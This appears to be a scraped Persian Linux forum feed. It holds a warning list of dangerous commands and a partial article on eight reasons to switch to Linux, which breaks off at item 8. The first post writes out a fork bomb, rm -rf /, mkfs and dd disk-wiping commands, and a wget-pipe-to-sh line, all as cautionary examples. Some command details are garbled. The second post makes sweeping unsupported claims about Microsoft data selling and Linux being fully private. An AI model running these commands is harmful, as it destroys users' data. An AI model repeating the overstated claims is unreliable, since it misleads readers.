معمولا تازه کاران لینوکس برای یادگیری فرامین به وب مراجعه می‎کنند و اگر منابع مورد اطمینان نباشد ممکن است با پیشنهاداتی برای اجرای برخی از فرامین توسط برخی از کاربران مواجه شوند که برای شوخی و سرگرمی‎ ارسال شده‎اند، اما برای این تازه کاران نه تنها شوخی نیست بلکه باعث دردسر آنها می‎شود.<br />
نکته مهم این که بعضی از این فرامین تنها در صورت استفاده شدن با پیشوند sudo در اوبونتو می‎توانند خطرناک باشند. در توزیع‎های دیگر لینوکس نیز خیلی از فرامین تنها در صورتی که به عنوان فرامین ریشه اجرا شوند خطرناک هستند.<br />
<br />
ما برخی از فرامین لینوکس که می‎تواند برای سیستم شما مضر باشد را گردآوری کرده‎ایم تا به شما کمک کند از آنها دوری کنید. به یاد داشته باشید كه برخی از آنها واقعا خطرناک هستند و حتی می‎توانند به روش‎های مختلف برای ایجاد دستورات جدید که صدمات بیشتری ایجاد می‎کند تغییر داده شوند.<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">1. فرمان Fork Bomb در لینوکس</span><br />
: (){ :|: &amp; };: که با عنوان Fork Bomb نیز شناخته می‎شود یک حمله انکار سرویس در مقابل سیستم لینوکس است. : (){ :|: &amp; };: یک تابع bash است. به محض اجرا خود را چندین بار تکرار می‎کند تا سیستم از کار بیافتد.<br />
شما برای رهایی از آن تنها باید سیستم را ری‎استارت کنید. بنابراین در زمان اجرای این فرمان در پوسته لینوکس خود مراقب باشید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">2. فرمان mv folder/dev/null</span><br />
mv folder/dev/null یکی دیگر از فرامین خطرناک است. Dev/null یا null device یک فایل دیوایس است که تمام داده‎های نوشته شده روی آن را پاک می‎کند، اما گزارش می‎دهد که عملیات نوشتن با موفقیت انجام شده است. از این فرمان به عنوان bit bucked یا black hole نیز یاد می‎شود.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">3. فرمان rm –rf</span><br />
فرمان rm –rf یک راه سریع برای حذف یک فولدر و محتویات درون آن در سیستم عامل لینوکس است. اگر شما روش صحیح استفاده از آن را بلد نباشید ممکن است به یک فرمان خطرات برای سیستم تبدیل شود. معروف‎ترین ترکیبات و گزینه‎های مورد استفاده با فرمان rm –rf شامل این موارد هستند:<br />
<ul class="mycode_list"><li>فرمان rm برای پاک کردن فایل‎ها در سیستم لینوکس استفاده می‎شود.<br />
</li>
<li>فرمان rm –f فایل‎های فقط خواندنی موجود در یک فولدر را بدون هیچ پیغام هشدارهای حذف می‎کند.<br />
</li>
<li>فرمان rm –r محتوای یک فولدر را حذف می‎کند.<br />
</li>
<li>فرمان rm –d برای پاک کردن یک دایرکتوری خالی استفاده می‎شود و اگر این دایرکتوری خالی نباشد از حذف آن اجتناب می‎کند.<br />
</li>
<li>فرمان rm -rf/ برای حذف اجباری (حتی اگر در برابر بازنويسی محافظت شده باشد) محتوای دایرکتوری ریشه و زیر فولدرهای آن استفاده می‎شود.<br />
</li>
<li>فرمان rm -rf* برای حذف اجباری تمام محتوای فولدر جاری و زیر فولدرهای آن استفاده می‎شود.<br />
</li>
<li>فرمان rm -rf. نیز برای حذف اجباری تمام محتوای فولدر جاری و زیر فولدرهای آن استفاده می‎شود. می‎توان از فرمان rm -r.[^.]* نیز استفاده کرد.<br />
</li>
<li>فرمان rm –i برای حذف فایل‎ها و فولدرها استفاده می‎شود اما قبل از حذف با پیغام به شما هشدار می‎دهد.<br />
</li>
</ul>
<span style="font-weight: bold;" class="mycode_b">4. فرمان mkfs</span><br />
اگر شما هدفmkfs  را به درستی نشناسید می‎تواند به یک فرمان خطرناک تبدیل شود. هر چیزی که بعد از mkfs نوشته می‎شود فرمت شده و با سیستم فایل لینوکس خالی جایگزین می‎شود.<br />
تمام فرامین فهرست شده در زیر هارد درايو شما را فرمت خواهد کرد و به مجوز مدیریتی نیاز دارد:<br />
<ul class="mycode_list"><li>mkfs<br />
</li>
<li>mkfs.ext3<br />
</li>
<li>mkfs.bfs<br />
</li>
<li>mkfs.ext2<br />
</li>
<li>mkfs.minix<br />
</li>
<li>mkfs.msdos<br />
</li>
<li>mkfs.reiserfs<br />
</li>
<li>mkfs.vfat<br />
</li>
</ul>
فرمان mkfs.cramfs همان کار فرامین بالا را انجام می‎دهد اما برای اجرا شدن به مجوز مدیریتی احتیاج ندارد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">5. بمب Tar</span><br />
از فرمان Tar برای جمع آوری چندین فایل داخل یک فایل واحد (یا فایل آرشیو) با فرمت  .tar استفاده می‎شود. اما با این فرمان می‎توان یک بمب Tape Archive (Tar) ساخت.<br />
در یک فایل آرشیو که با هزاران یا حتی میلیون‎ها فایل هم نام با فایل‎های موجود در دایرکتوری جاری پر شده است در زمان استخراج این فایل‎ها با مشکل مواجه خواهید شد. شما می‎توانید با ساخت یک دایرکتوری محافظ در زمان دریافت یک فایل tar از گرفتار شدن در وضعیت بمب tar جلوگیری کنید.<br />
اگر یک فایل tar به این وضعیت دچار شد شما به راحتی با حذف این دایرکتوری تازه ساخته شده می‎توانید از دست آن خلاص شوید. یک راه دیگر برای جلوگیری از انفجار بمب tar استفاده از گزينه –t برای فهرست کردن تمام محتوای یک فایل tar است که اطلاعاتی در مورد محتوای داخل این فایل tar در اختیار شما قرار می‎دهد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">6. فرمان dd</span><br />
از فرمان dd برای کپی و تبدیل کردن پارتيشن‎های هارد دیسک استفاده می‎شود. اما اگر شما مقصد را به درستی تعیین نکنید می‎تواند آسیب رسان شود.<br />
این فرمان ممکن است به یکی از این اشکال باشد:<br />
<ul class="mycode_list"><li>dd if=/dev/hda of=/dev/hdb<br />
</li>
<li>dd if=/dev/hda of=/dev/sdb<br />
</li>
<li>dd if=something of=/dev/hda<br />
</li>
<li>dd if=something of=/dev/sda<br />
</li>
</ul>
فرمان زير نیز کل هارد درایو primary را اصطلاحا صفر می‎کند:<br />
<br />
<div style="text-align: left;" class="mycode_align"> dd if=/dev/zero of=/dev/had</div>
<br />
<span style="font-weight: bold;" class="mycode_b">7. کد Shell Script</span><br />
شما ممکن است با دانلود و اجرای یک اسکریپت پوسته مخرب قربانی آن شوید. این اسکریپت ممکن است شامل کدهای مخرب و خطرناک در داخل خود باشد. فرمت این فرمان ممکن است چیزی شبیه به این باشد:<br />
<br />
<div style="text-align: left;" class="mycode_align"> wget http://some_malicious_source -O- | sh</div>
<br />
فرمان wget این اسکریپت را دانلود می‎کند و sh باعث اجرا شدن فایل دانلود شده می‎شود.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">8. کدهای منبع مخرب</span><br />
ممکن است شخصی به شما یک کد منبع را پیشنهاد کند و از شما بخواهد آن را کامپایل کنید. شاید در ظاهر این کد طبیعی به نظر برسد اما در واقع کدهای مخرب داخل حجم زیادی از کدهای منبع پنهان شده است و می‎تواند به سیستم شما صدمه بزند. برای جلوگیری از قربانی شدن توسط این نوع از حملات، این کدهای منبع پیشنهادی را تنها از منابع معتبر و شناخته شده قبول کنید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">9. بمب Decompression</span><br />
شما ممکن است یک فایل فشرده شده دریافت کنید که در ظاهر حجم زیادی ندارد اما محتوای درون آن با سطح فشرده سازی بالا پر شده است. به محض این که این فایل را از حالت فشرده خارج می‎کنید حجم انبوهی از داده هارد درايو شما را پر کرده و عملکرد سیستم شما را پایین می‎آورد. برای جلوگیری از این وضعیت همیشه داده‎های مورد نظر خود را از منابع معتبر دریافت کنید.<br />
<br />
<br />
<br />
</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[8 دلیل برای استفاده از لینوکس به جای سیستم عامل های ویندوز و مک]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=3673</link>
			<pubDate>Wed, 18 Oct 2017 00:18:31 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=34">mesterweb</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=3673</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align">اگر به دنبال بهانه‌ای برای مهاجرت به دنیای آزاد هستید، ما را در معرفی 8 دلیل برای استفاده از لینوکس به جای سیستم عامل های ویندوز و مک همراهی کنید!<br />
<br />
<div style="text-align: center;" class="mycode_align"><img src="http://romaak.ir/up/do.php?img=3828" loading="lazy"  alt="[تصویر:  do.php?img=3828]" class="mycode_img" /></div>
<br />
<br />
منبع باز (Open Source) و رایگان (Free) بودن، دو اصطلاح رایجی‌ست که در مورد سیستم‌عامل‌های آزاد مطرح می‌شود. سیستم‌عامل‌های منبع باز و رایگان، کاربرد بسیار گسترده‌ای دارند و در عین حال، تجربه کار با آنان برای افراد بسیار لذت‌بخش است. اما با این‌حال، لینوکس را نمی‌توان از دسته سیستم‌عامل‌های محبوب به شمار آورد. بسیاری از کاربران سیستم‌های کامپیوتری، حتی از موجودیت دنیای آزاد بی‌اطلاع هستند و ناچارا در دام ویندوز گیر افتاده‌اند! در این مطلب سعی داریم شما را با دلایل استفاده از لینوکس به جای سیستم عامل های خانگی آشنا کنیم.<br />
<br />
سیستم‌عامل لینوکس در دهه اخیر توزیع‌های متنوعی را به چشم دیده است و همین امر سبب شده کاربرانی با نیازهای مختلف، انتخاب‌های بسیاری را داشته باشند. اگر شما هم به دنبال یک بهانه کوچک برای مهاجرت از ویندوز یا مک، به سیستم‌ عامل لینوکس هستید، در اینجا 8 دلیل برای استفاده از لینوکس در پیش روی‌تان خواهد بود.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">1- علاقه به نرم افزار آزاد</span><br />
در مقاله 8 دلیل برای استفاده از لینوکس ، شما را برای مهاجرت از سیستم عامل فعلی، به لینوکس آماده می‌کنیم! مهم‌ترین شرط اساسی برای ورود به دنیای لینوکس این است که شما از مزیت‌های آن مطلع بوده و نسبت به تجربه آنان مشتاق باشید. بر اساس تعریف‌های استاندارد، نرم افزار آزاد نرم‌افزاری است که در آن، کاربر نرم‌افزار را کنترل می‌کند، نه نرم‌افزار کاربر را! اگر در حال حاضر از کاربران سیستم عامل ویندوز و یا مک هستید، باید بدانید که نرم افزارهای این سیستم‌عامل‌ها را «انحصاری» می‌نامند. در اینگونه برنامه‌ها، شما فقط و فقط یک کاربر هستید که کاربردهای تعریف شده از سوی توسعه دهنده را مورد استفاده قرار می‌دهید. در دنیای آزاد، هر نرم افزار باید دارای 4 ویژگی باشد که به شرح زیر هستند:<br />
<ul class="mycode_list"><li>آزادی در اجرای نرم افزار به هر منظوری<br />
</li>
<li>توانایی بررسی کد منبع نرم افزار و نحوه عملکرد آن<br />
</li>
<li>آزادی بازتوزیع نرم افزار برای کمک به جامعه نرم افزار آزاد<br />
</li>
<li>آزادی در تغییر نرم افزار و انتشار نسخه‌های بهبود یافته<br />
</li>
</ul>
این مقاله، شما را در انتخاب سیستم عامل دلخواهتان راهنمایی خواهد کرد. اکنون وقت آن است که برای مهاجرت به این سیستم‌عامل تصمیم‌گیری کنید! لینوکس دیگر همانند گذشته، محیطی مخصوص به برنامه نویسان و کاربران حرفه‌ای دنیای کامپیوتر نیست. توزیع‌های متعددی که از این سیستم‌ عامل ارائه شده است، تقریبا نیاز تمامی دسته‌های کاربران را تحت پوشش خود قرار می‌دهد. در نسخه‌های اخیر توزیع‌های لینوکس، همچنان امکان استفاده از خط فرمان وجود دارد، اما با توجه به رابط گرافیکی بی‌نقص این توزیع‌ها، به ندرت پیش می‌آید که اصلا به این دستورات نیازی داشته باشید!<br />
تنها کافی‌ست که مطابق با نیاز خود، یکی از توزیع‌های موجود را انتخاب و وارد دنیای نرم افزار آزاد شوید. امکان گشت و گذار آنلاین در فضای وب، بررسی و مدیریت ایمیل‌ها، وارد کردن تصاویر از دوربین‌های دیجیتال، گوش دادن به موسیقی دلخواه و … از جمله کاربردهایی هستند که استفاده از آنان هیچ تفاوتی با ویندوز یا مک ندارد. به همین سب، در صورتی که اشتیاق لازم برای تجربه یک دنیای کاملا متفاوت را در خود می‌بینید، احتمالا این 8 دلیل برای استفاده از لینوکس شما را برای این تصمیم‌گیری مهم آماده می‌سازد. شاید وقت آن رسیده که با سیستم عامل فعلی خود خداحافظی کنید!<br />
<br />
<span style="font-weight: bold;" class="mycode_b">2- رایگان بودن لینوکس</span><br />
در دنیای امروز، کامپیوترها به یک پیش‌نیاز اساسی در مدارس و ادارات تبدیل شده‌اند. اولین سیستم کامپیوتری خود را به خاطر بیاورید! سیستمی که با اولین نگارش‌های سیستم عامل ویندوز عرضه شد و محدودیت‌های بسیاری داشت. حتی با برخوردار بودن از سیستم عامل ویندوز، هنوز هیچ یک از ابزارهای آفیس یا فتوشاپ برای آن منتشر نشده بودند. اگر در آن زمان، نرم افزار رایگان «اپن آفیس» (OpenOffice) نبود، بسیاری از فعالیت‌های مرتبط با آن باید به طور دستی انجام می‌گرفت. اپن آفیس یکی از نرم افزارهای آزاد بود که در آن زمان بسیاری از نیازهای کاربران سیستم‌های کامپیوتری را تحت پوشش خود را می‌داد. قابل توجه است که حتی در صورت عدم وجود ابزارهایی نظیر آفیس، جایگزین‌های آنان نیز به آسانی می‌توانند این نیاز کاربران را پوشش دهند.<br />
<br />
در دنیای لینوکس نیز وضعیت به همین ترتیب است. مخصوصا امروزه با توجه به پیشرفت چشم‌گیر توزیع‌های لینوکس، تقریبا تمامی نیازهای کاربر تحت پوشش قرار گرفته‌اند. واقعیت امر این است که همه ما از دوران کودکی و یا دوره تحصیلی خود، متناسب با محل زندگی‌مان به یکی از سیستم‌ عامل‌ها اعتیاد ذاتی پیدا کرده و از مهاجرت به سایر سیستم عامل ها می‌ترسیم!<br />
لینوکس یک سیستم عامل رایگان و منبع باز است که از تمامی سخت‌ افزارهای کامپیوتری پشتیبانی می‌کند. محدودیت‌های لینوکس در طی سال‌های اخیر بسیار کمتر از گذشته شده و ورود به دنیای آزاد، اضطراب سابق را ندارد. از این گذشته، دسترسی به مخازن نرم افزارها و ابزارهای کاربردی نیز قابلیت محبوبی است که بسیاری از کاربران فعلی دنیای لینوکس عاشق آن هستند.<br />
<br />
هزینه سیستم‌های کامپیوتری در طول دهه قبل تاکنون، کاهش چشم‌گیری داشته و کاربران می‌توانند با پرداخت هزینه‌های کمتر، سیستم‌هایی با قدرت بسیار بالاتر را تهیه کنند. در واقع به کمک کروم‌ بوک های گوگل، شما دیگر نیازی به پرداخت هزینه‌های گزاف برای تهیه یک سیستم کامپیوتری ندارید. کمپانی گوگل محصولاتی کم‌هزینه و در برخی موارد رایگان را تولید و عرضه می‌کند؛ چرا که درآمد اصلی این شرکت از تبلیغات است. گوگل و سرویس‌های آن، همواره فعالیت کاربر را در فضای اینترنت زیرنظر داشته و در حال داده‌کاوی هستند. از این جهت، بسیاری از کاربران اهمیت حریم خصوصی خود را در جایگاه بالاتری می‌بینند و دوست ندارند که فعالیت‌های آنان توسط یک کمپانی زیر ذره‌بین قرار داشته باشد.<br />
سیستم عامل لینوکس، محاسبات و کاربردهای مفید دنیای کامپیوتر را به شیوه‌ای مقرون به صرفه در دسترس قرار می‌دهد. ایده نرم افزار آزاد، به کاربران دنیای لینوکس این فرصت را می‌دهد که برای شرکت در توسعه و پیشرفت هرچه بیشتر سرویس‌های موجود، اشتیاق بیشتری داشته باشند. متاسفانه امروزه کاربردهای سیستم‌ عامل لینوکس برای بسیاری از افراد ناشناخته است. به همین دلیل سعی داریم که در مقاله 8 دلیل برای استفاده از لینوکس ، شما را با قابلیت‌های مفیدی آشنا کنیم که شاید برای مهاجرت به آن، تصمیمی جدی بگیرید!<br />
<br />
<span style="font-weight: bold;" class="mycode_b">3- احساس احترام</span><br />
نرم افزارهای تجاری به عنوان یک محصول شناخته می‌شوند. فرآیند کاری نیز بسیار ساده است! فردی یک نرم افزار را تولید می‌کند. کاربران در صورت تمایل آن را خریداری کرده و از مزایای آن بهرمند می‌شوند. در صورتی که این محصول قادر به پاسخ‌گویی نیازهای آنان نباشد، تنها کافیست گزینه‌های دیگری را خریداری کرده و برای این نیاز مورد آزمایش قرار دهد. اما اگر بخواهیم از نگاهی واقع‌گرایانه به یک نرم افزار نگاه کنیم، نرم افزارها را نمی‌توان همچون یک کالای فیزیکی به شمار آورد. یک اپلیکیشن ممکن است همچون یک محصول تولیدی باشد، اما در واقعیت شما تنها با مجموعه‌ای از کدها سر و کار دارید. این کدها، شامل دستوراتی برای اجرای فعالیت‌ها در دنیای کامپیوتری هستند. ما کاربران بدون آنکه کدهای نوشته شده در سروس منبع را بدانیم، نمی‌توانیم از شیوه کارکرد آن اطلاع پیدا کنیم. این امر سبب می‌شود که در دنیای ویندوز یا مک، کاربر دقیقا نداند که در حال خرید چه چیزی است! حتی او نمی‌داند که چه چیزی را بر روی سیستم خود نصب می‌کند. در واقع، شما محکوم می‌شوید که به سازنده نرم افزار اعتماد کرده و دستورات تعریف شده توسط او را در سیستم شخصی‌تان به اجرا درآورید. نرم افزارهای موجود در سیستم‌ عامل‌های مک و ویندوز، در اکثر موارد همچون یک هندوانه در بسته هستند! با نصب یک نرم افزار، شما می‌توانید راه را برای جاسوسی از اطلاعات شخصی‌تان باز کنید و یا اینکه حریم خصوصی خود را در معرض خطر قرار دهید.<br />
<br />
توسعه‌دهندگانی که نرم افزارهای آزاد را تولید می‌کنند، سورس کد مربوط به محصول تولیدی را نیز در کنار آن منتشر می‌کنند تا هر فردی قادر باشد از شیوه اجرای دستورات به طور کامل و دقیق اطمینان حاصل کند. در واقع می‌توان گفت که در دنیای لینوکس، ما دقیقا می‌دانیم که چه چیزی را بر روی سیستم نصب می‌کنیم و علاوه بر آن، می‌توانیم تغییرات دلخواه خود را نیز بر روی آن اعمال کنیم تا به یک ابزار کاملا شخصی‌سازی شده تبدیل شود. این درست به معنای مالکیت واقعی بر نرم افزارها در دنیای لینوکس است!<br />
<br />
نرم افزارهای تجاری، معمولا با محدودیت‌های بسیاری همراه هستند. شما نمی‌توانید یک نسخه کپی از آنان را به دوست خود بدهید و یا حتی اجازه ندارید که آن را هم بر روی کامپیوتر دسکتاپ و هم لپ تاپ خود نصب کنید! در واقع شما فقط یک حق انتخاب دارید و در دنیای آزاردهنده ویندوز و مک، شدیدا با این مسئله دست و پنجه نرم خواهید کرد. هیچ چیزی در مورد نرم افزارهای نصب شده بر روی سیستم شما مشخص نیست، تنها کاری که باید انجام دهید این است که به توسعه دهنده آن اعتماد کنید! اما آیا این کار در مورد تمامی محصولات نرم افزاری در ویندوز شدنی است؟<br />
<br />
<span style="font-weight: bold;" class="mycode_b">4- قابل اطمینان بودن</span><br />
آیا به کامپیوتر خود اعتماد دارید؟ <br />
دنیای ویندوز آن‌چنان هم که به نظر می‌رسد قابل اعتماد نیست! آن‌ها همه فعالیت شما در کامپیوترهای شخصی را زیر نظر دارند! تمامی اطلاعات شما با هدف داده‌کاوی به سایر کمپانی‌ها فروخته می‌شود؛ بی‌آنکه از شما کسب اجازه شده باشد! هرکسی می‌تواند سرورهای آنان را هک کرده و داده‌های شما را به دست آورد.<br />
<br />
شاید در نگاه اول، جملات بالا برایتان عجیب و یا حتی ترسناک باشد. در ابتدا ممکن است با خود بگویید که این‌ها ناشی از حساسیت بیش از اندازه بوده و یا اینکه دروغ محض هستند. اما اگر فقط اندکی با سرویس‌های ایمیل، شبکه‌های اجتماعی و … آشنایی داشته باشید، احتمالا تاکنون خودتان متوجه این امر شده‌اید. شبکه‌های اجتماعی دائما در حال جمع‌آوری اطلاعات کاربران هستند. در هنگام ثبت نام در این سرویس‌ها، شما مشخصات کامل خود را در اختیار یک سرور کامپیوتری قرار می‌دهید. سرنوشت داده‌های شما بعد از ثبت نام مشخص نیست؛ اما آیا تا به حال به این فکر کرده‌اید که شبکه‌های اجتماعی چگونه تا این اندازه هوشمند و پیچیده شده‌اند؟ به چه علت شبکه اجتماعی اینستاگرام، می‌تواند علاقه‌مندی‌های شما را تشخیص دهد و تصاویری مرتبط با سلایق شما را در قسمت اکسپلور (Explore) را نمایش دهد و یا نزدیکان شما را به صورت خودکار برای فالو (Follow) کردن پیشنهاد کند؟ این‌ها به خودی خود، نشان‌دهنده جمع‌آوری هوشمندانه داده‌های شما برای ساخت سیستم‌هایی پیشرفته در آینده هستند. هوش مصنوعی چنین شبکه‌هایی، بر مبنای اطلاعاتی که شما به آن می‌دهید عمل می‌کند. از این جهت، ارزش داده‌های خود را به هیچ وجه دست کم نگیرید!<br />
<br />
رسانه‌های جمعی و کمپانی‌های فعال در دنیای وب، همواره ما را از خطرات هک سیستم‌های کامپیوتری و حملات سایبری آگاه می‌سازند. اما هیچ کسی در مورد جاسوسی اطلاعات ما توسط کمپانی‌های فیسبوک، گوگل و … نمی‌گوید! در دنیای واقعی، اگر فردی از اسناد و هویت ما به صورت فیزیکی استفاده کند، سریعا قانون وارد عمل شده و شخص متخلف را مجرم می‌خواند. اما چرا این ملاحظات در مورد فضای آنلاین صورت نمی‌گیرد؟<br />
سیستم عامل ویندوز 10 (Windows 10)، بمب جاسوسی دنیای سیستم‌ عامل ویندوز بود! امروزه بسیاری از کاربران از جاسوسی گسترده مایکروسافت در این سیستم‌ عامل مطلع هستند. هرزگاهی نیز می‌خوانیم که شرکت‌های بزرگ ادعا می‌کنند که این کار صرفا با هدف شناخت دقیق نیازهای کاربر انجام می‌شود. اما واقعیت امر این است که مایکروسافت از بی‌اطلاعی کاربران خود از پشت پرده این سیستم عامل، سوء استفاده کرده و داده‌های شخصی آن را دائما تحت نظارت قرار داده است. گول ظاهر این سیستم عامل را نخورید! در پشت پرده اتفاقات ناشناخته‌ای در حال وقوع هستند که روح‌تان هم از آن بی‌خبر است! شاید حالا که از این واقعیت‌ها اطلاع دارید، بسیار خشمگین هستید؛ ولی هیچ چیزی قادر به تغییر این واقعیت نیست! در هنگام نصب سیستم عامل ویندوز و یا نرم افزارهای آن، همواره قسمتی وجود دارد که شما باید یک توافقنامه را خوانده و سپس آن را تایید کنید. بسیاری از ما، این قسمت را نخوانده می‌پذیریم؛ غافل از اینکه مایکروسافت و سایر کمپانی‌ها، برای تمامی این جاسوسی‌ها از ما کسب اجازه هم کرده‌اند!<br />
<br />
ما نمی‌توانیم به اپل و مایکروسافت بگوییم که جاسوسی از اطلاعات ما و فروش آن به دیگر شرکت‌ها را متوقف کند. حداقل کاری که می‌توان انجام داد این است که یک بار برای همیشه، از این سیستم‌ عامل‌ها خداحافظی کنیم! همین حالا تصمیم بگیرید که به دنیای نرم افزار آزاد و سیستم عامل امن لینوکس مهاجرت کنید. یک بار برای همیشه، فعالیت‌های خود را در سیستمی کاملا امن انجام دهید؛ کامپیوتری که حریم خصوصی شما در آن نقض نشده و تمامی داده‌ها در نهایت امنیت به سر می‌برند.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">5- تنوع برنامه‌ها</span><br />
از میان این دلایل، حداقل یک یا دو مورد از آن احتمالا شما را برای مهاجرت به این سیستم‌عامل قانع خواهد کرد. یکی از مهم‌ترین انتقادهای مربوط به دنیای لینوکس، کمبود برنامه‌های خاص است. آیا لینوکس از نصب نرم افزار پشتیبانی می‌کند؟<br />
<br />
حتما! دنیای لینوکس، سرشار از برنامه‌های کاربردی است و شما کاربران متناسب با نیاز خود، چندین حق انتخاب را خواهید داشت. ولی نکته‌ای که باید به آن توجه داشت این است که لینوکس، فاقد نرم افزارهای تجاری و انحصاری است که برای ویندوز یا مک تولید می‌شوند. اگر شما نیز وابستگی بسیاری به این نرم افزارها دارید، احتمالا یکی از اصلی ترین چالش‌ها برای مهاجرت به لینوکس را این مورد می‌دانید. بسیاری از کاربران دنیای ویندوز، استفاده از مجموعه گران‌قیمت مایکروسافت آفیس را کنار گذاشته و از نرم افزار رایگانی همچون لیبر آفیس (LibreOffice) استفاده می‌کنند. ویژگی‌های موجود در آفیس‌های رایگان، تا حد بسیاری با محصولات مایکروسافت آفیس مطابقت دارند و از این نظر، مهاجرت به لینوکس برایتان چالش چندان مهمی نخواهد بود. از میان موارد مطرح شده، چالش برنامه‌ها یکی از مهم‌ترین تصمیم‌گیری‌های کاربران به شمار می‌رود.<br />
علاقه‌مندان به دنیای تکنولوژی، دوست دارند که تمامی پلتفرم‌های موجود در دسکتاپ یا موبایل را امتحان کنند تا از مزایا و معایب هریک از آنان مطلع شوند. ولی همواره باید به خاطر داشت که انتخاب یک سیستم‌ عامل، بر اساس سلیقه شخصی انجام می‌گیرد و هر فرد با توجه به نیازهای خود، یکی را به دیگری ترجیح می‌دهد. در اینجا ما نمی‌خواهیم که از نقاط قوت و ضعف سیستم‌ عامل‌ها بگوییم؛ به جای آن در مقاله 9 دلیل برای استفاده از لینوکس به جای ویندوز و مک، سعی کرده‌ایم که شما را در استفاده از لینوکس کمک کنیم.<br />
در دنیای لینوکس، هیچ خبری از نرم افزارهای تجاری نیست و نرم افزارهای آزاد قادرند تمامی نیازهای شما را تحت پوشش قرار دهند.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">6- لینوکس اینجا، آنجا، همه‌جا!</span><br />
اگر هنوز هم تصمیم خود را نگرفته‌اید، باید بگوییم که بهتر است یک بار دیگر در نیازهای خود در دنیای کامپیوتر نگاهی اجتمالی داشته باشید. نیاز شما در کامپیوتر چیست؟<br />
<br />
شاید تمامی نیازهای شما به شکل بهتر و روان‌تری در لینوکس قابل اجرا باشند؛ پس بهتر است که نیازهای خود را به خوبی بشناسید. لینوکس را در همه سخت‌ افزارها می‌توان اجرا کرد. البته باید توجه داشت که در برخی موارد نیز بهتر است که برای انتخاب آن، اندکی صبر پیشه کنید. به عنوان مثال، نصب لینوکس بر روی یک سیستم کامپیوتری قدرتمند و کاملا جددید، می‌تواند شما را با در بسته مواجه کند؛ چرا که هنوز ممکن است درایورهای مربوط به این سخت افزار برای لینوکس آماده نشده باشد.<br />
در مقابل، نصب سیستم عامل لینوکس بر روی یک کامپیوتر قدیمی هیچ مشکلی را برای استفاده کاربر ایجاد نخواهد کرد؛ چرا که تاکنون تمامی درایورهای موجود برای سخت افزارها به روز رسانی شده و قطعات سیستم به راحتی شناسایی می‌شوند. یکی دیگر از ویژگی‌های مهم در مورد توزیع‌های لینوکس این است که به منظور افزایش پایداری سیستم عامل و بهبود عملکرد قطعات سخت افزاری، همواره باید آپدیت‌های آن را بر روی سیستم نصب کنید. این موضوع، حتی از لحاظ امنیتی نیز از سوی کارشناسان توصیه شده و متاسفانه بسیاری از کاربران سیستم عامل ویندوز از انجام این کار خودداری کرده و سیستم خود را در معرض انواع خطرات جدی قرار می‌دهند.<br />
از میان موارد مطرح شده در مقاله 8 دلیل برای استفاده از لینوکس به جای سایر سیستم عامل‌ها، ممکن است سازگاری لینوکس با گوشی‌های موبایل، توجه شما را بیشتر از بقیه موارد جلب کند! لینوکس منحصر به کامپیوترهای دسکتاپ یا لپ تاپ نیست؛ در واقع بخش بزرگی از بازار اسمارت فون های امروزی، به دنیای لینوکس تعلق دارد. اندروید به عنوان سیستم عامل ارائه شده توسط گوگل نیز بر مبنای لینوکس است؛ هر چند با توزیع های رایج لینوکس تفاوت بسیاری دارد. ولی از میان گزینه‌های موجود، اسمارت فون هایی نیز وجود دارند که می‌توان توزیع های لینوکس را به راحتی بر روی آنان نصب کرد.<br />
لینوکس انعطاف‌پذیری بسیاری دارد. به عنوان مثال، بردهای رزبری پای (Raspberry Pi) به طور کامل از لینوکس پشتیبانی می‌کنند و بسیاری از مراکز آموزشی، کارگاه‌های متعددی را در این باره تشکیل داده‌اند. با توجه به این موارد، می‌توان گفت که لینوکس بر روی تمامی سخت‌ افزارهای موجود قابل نصب است. هیچ برنامه‌ای قصد جاسوسی از اطلاعات شما را ندارد و حریم خصوصی شما در این سیستم‌ عامل، به طور کامل حفظ خواهد شد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">7- لینوکس، دنیای رایگان</span><br />
پیشنهاد سیستم عامل ویندوز به دیگران، همانند بازاریابی رایگان برای کمپانی ثروتمندی همچون مایکروسافت است. همین مسئله، در مورد مک و کروم هم صدق می‌کند. با این کار، شما علاوه بر آنکه دیگران را در تصمیم‌گیری برای انتخاب سیستم عامل مورد نظر خود راهنمایی می‌کنید، سهم غول‌های دنیای تکنولوژی را نیز در بازار افزایش می‌دهید.<br />
لینوکس به هیچ شرکتی تعلق ندارد. البته نصب و استفاده از یک نسخه خاص، ممکن است برای کمپانی کانونیکال (Canonical) سودآور باشد، اما هیچ کاربری مجبور به پرداخت هزینه نیست و و درآمد مذکور، صرفا به صورت غیرمستقیم به این کمپانی می‌رسد. ممکن است فردی شما را به استفاده از توزیع Red Hat Enterprise تشویق کند، این در حالی است که تمامی مزایای مورد انتظار شما به صورت رایگان نیز در توزیع CentOS در دسترس هستند. حتی اگر شرکت‌های کانونیکال یا رد هت، به طور شبانه ناپدید شوند، لینوکس به پایان نمی‌رسد؛ زیرا جامعه‌ای قدرتمند از توسعه‌دهندگان همواره به پشتیبانی آن ادامه خواهند داد. لینوکس یک اکوسیستم بسیار بزرگ است که کاربردهای دنیای کامپیوتر را به شیوه‌ای در اختیار کاربران قرار می‌دهد که هیچ سازمان دیگری قادر به انجام آن نیست.<br />
البته باید توجه داشت که آزادی‌های بسیار لینوکس، اعتراض بسیاری از شرکت‌ها را نیز در پی دارد. اما موفقیت‌های این سیستم عامل، فراتر از این است که با چنین رفتارهایی آسیب ببیند. آزاد بودن کامل سیستم عامل و امکان دسترسی به تمامی کدهای منبع، از جمله مواردی هستند که افراد را عاشق این سیستم عامل می‌کنند.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">8- نصب لینوکس در کنار ویندوز</span><br />
